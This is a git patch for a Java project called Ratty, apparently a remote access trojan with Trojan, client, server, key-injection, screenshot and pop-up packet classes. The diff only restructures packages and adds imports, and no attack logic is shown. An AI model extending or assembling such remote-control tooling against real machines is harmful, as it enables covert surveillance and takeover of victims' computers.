From 905fa00a2475f0c69fd80343600d9463b5f25ee8 Mon Sep 17 00:00:00 2001 From: Sogomn Date: Tue, 26 Jan 2016 20:38:34 +0100 Subject: [PATCH] Major changes Changed structure --- Ratty/src/de/sogomn/rat/ActiveClient.java | 2 ++ Ratty/src/de/sogomn/rat/IClientObserver.java | 2 ++ Ratty/src/de/sogomn/rat/Ratty.java | 3 +++ Ratty/src/de/sogomn/rat/Trojan.java | 2 ++ Ratty/src/de/sogomn/rat/{ => packet}/IPacket.java | 4 +++- Ratty/src/de/sogomn/rat/{ => packet}/KeyEventPacket.java | 4 +++- Ratty/src/de/sogomn/rat/{ => packet}/PacketType.java | 2 +- Ratty/src/de/sogomn/rat/{ => packet}/PopupPacket.java | 4 +++- Ratty/src/de/sogomn/rat/{ => packet}/ScreenshotPacket.java | 3 ++- Ratty/src/de/sogomn/rat/{ => server}/ActiveServer.java | 5 ++++- 10 files changed, 25 insertions(+), 6 deletions(-) rename Ratty/src/de/sogomn/rat/{ => packet}/IPacket.java (69%) rename Ratty/src/de/sogomn/rat/{ => packet}/KeyEventPacket.java (88%) rename Ratty/src/de/sogomn/rat/{ => packet}/PacketType.java (92%) rename Ratty/src/de/sogomn/rat/{ => packet}/PopupPacket.java (84%) rename Ratty/src/de/sogomn/rat/{ => packet}/ScreenshotPacket.java (92%) rename Ratty/src/de/sogomn/rat/{ => server}/ActiveServer.java (87%) diff --git a/Ratty/src/de/sogomn/rat/ActiveClient.java b/Ratty/src/de/sogomn/rat/ActiveClient.java index 3094689..dca35d0 100644 --- a/Ratty/src/de/sogomn/rat/ActiveClient.java +++ b/Ratty/src/de/sogomn/rat/ActiveClient.java @@ -3,6 +3,8 @@ package de.sogomn.rat; import java.net.Socket; import de.sogomn.engine.net.TCPConnection; +import de.sogomn.rat.packet.IPacket; +import de.sogomn.rat.packet.PacketType; public final class ActiveClient extends TCPConnection { diff --git a/Ratty/src/de/sogomn/rat/IClientObserver.java b/Ratty/src/de/sogomn/rat/IClientObserver.java index 2274d65..2da5512 100644 --- a/Ratty/src/de/sogomn/rat/IClientObserver.java +++ b/Ratty/src/de/sogomn/rat/IClientObserver.java @@ -1,5 +1,7 @@ package de.sogomn.rat; +import de.sogomn.rat.packet.IPacket; + public interface IClientObserver { void packetReceived(final ActiveClient client, final IPacket packet); diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java index 1fd1ecc..ccea262 100644 --- a/Ratty/src/de/sogomn/rat/Ratty.java +++ b/Ratty/src/de/sogomn/rat/Ratty.java @@ -2,6 +2,9 @@ package de.sogomn.rat; import java.awt.event.KeyEvent; +import de.sogomn.rat.packet.KeyEventPacket; +import de.sogomn.rat.server.ActiveServer; + public final class Ratty { diff --git a/Ratty/src/de/sogomn/rat/Trojan.java b/Ratty/src/de/sogomn/rat/Trojan.java index 2907020..1fcc014 100644 --- a/Ratty/src/de/sogomn/rat/Trojan.java +++ b/Ratty/src/de/sogomn/rat/Trojan.java @@ -1,5 +1,7 @@ package de.sogomn.rat; +import de.sogomn.rat.packet.IPacket; + public final class Trojan implements IClientObserver { public Trojan() { diff --git a/Ratty/src/de/sogomn/rat/IPacket.java b/Ratty/src/de/sogomn/rat/packet/IPacket.java similarity index 69% rename from Ratty/src/de/sogomn/rat/IPacket.java rename to Ratty/src/de/sogomn/rat/packet/IPacket.java index dd1a2cb..2d2ceff 100644 --- a/Ratty/src/de/sogomn/rat/IPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/IPacket.java @@ -1,4 +1,6 @@ -package de.sogomn.rat; +package de.sogomn.rat.packet; + +import de.sogomn.rat.ActiveClient; diff --git a/Ratty/src/de/sogomn/rat/KeyEventPacket.java b/Ratty/src/de/sogomn/rat/packet/KeyEventPacket.java similarity index 88% rename from Ratty/src/de/sogomn/rat/KeyEventPacket.java rename to Ratty/src/de/sogomn/rat/packet/KeyEventPacket.java index 6850de7..1c1a50b 100644 --- a/Ratty/src/de/sogomn/rat/KeyEventPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/KeyEventPacket.java @@ -1,9 +1,11 @@ -package de.sogomn.rat; +package de.sogomn.rat.packet; import java.awt.AWTException; import java.awt.Robot; import java.awt.event.KeyEvent; +import de.sogomn.rat.ActiveClient; + public final class KeyEventPacket implements IPacket { private int key; diff --git a/Ratty/src/de/sogomn/rat/PacketType.java b/Ratty/src/de/sogomn/rat/packet/PacketType.java similarity index 92% rename from Ratty/src/de/sogomn/rat/PacketType.java rename to Ratty/src/de/sogomn/rat/packet/PacketType.java index 5e46d3d..863cd85 100644 --- a/Ratty/src/de/sogomn/rat/PacketType.java +++ b/Ratty/src/de/sogomn/rat/packet/PacketType.java @@ -1,4 +1,4 @@ -package de.sogomn.rat; +package de.sogomn.rat.packet; public enum PacketType { diff --git a/Ratty/src/de/sogomn/rat/PopupPacket.java b/Ratty/src/de/sogomn/rat/packet/PopupPacket.java similarity index 84% rename from Ratty/src/de/sogomn/rat/PopupPacket.java rename to Ratty/src/de/sogomn/rat/packet/PopupPacket.java index a9ec369..13732be 100644 --- a/Ratty/src/de/sogomn/rat/PopupPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/PopupPacket.java @@ -1,7 +1,9 @@ -package de.sogomn.rat; +package de.sogomn.rat.packet; import javax.swing.JOptionPane; +import de.sogomn.rat.ActiveClient; + public final class PopupPacket implements IPacket { diff --git a/Ratty/src/de/sogomn/rat/ScreenshotPacket.java b/Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java similarity index 92% rename from Ratty/src/de/sogomn/rat/ScreenshotPacket.java rename to Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java index 2112771..91000f7 100644 --- a/Ratty/src/de/sogomn/rat/ScreenshotPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java @@ -1,4 +1,4 @@ -package de.sogomn.rat; +package de.sogomn.rat.packet; import java.awt.AWTException; import java.awt.Rectangle; @@ -12,6 +12,7 @@ import javax.imageio.ImageIO; import de.sogomn.engine.Screen; import de.sogomn.engine.Screen.ResizeBehavior; +import de.sogomn.rat.ActiveClient; public final class ScreenshotPacket implements IPacket { diff --git a/Ratty/src/de/sogomn/rat/ActiveServer.java b/Ratty/src/de/sogomn/rat/server/ActiveServer.java similarity index 87% rename from Ratty/src/de/sogomn/rat/ActiveServer.java rename to Ratty/src/de/sogomn/rat/server/ActiveServer.java index 32827ae..04878d4 100644 --- a/Ratty/src/de/sogomn/rat/ActiveServer.java +++ b/Ratty/src/de/sogomn/rat/server/ActiveServer.java @@ -1,9 +1,12 @@ -package de.sogomn.rat; +package de.sogomn.rat.server; import java.net.Socket; import java.util.ArrayList; import de.sogomn.engine.net.TCPServer; +import de.sogomn.rat.ActiveClient; +import de.sogomn.rat.IClientObserver; +import de.sogomn.rat.packet.IPacket; public final class ActiveServer extends TCPServer implements IClientObserver {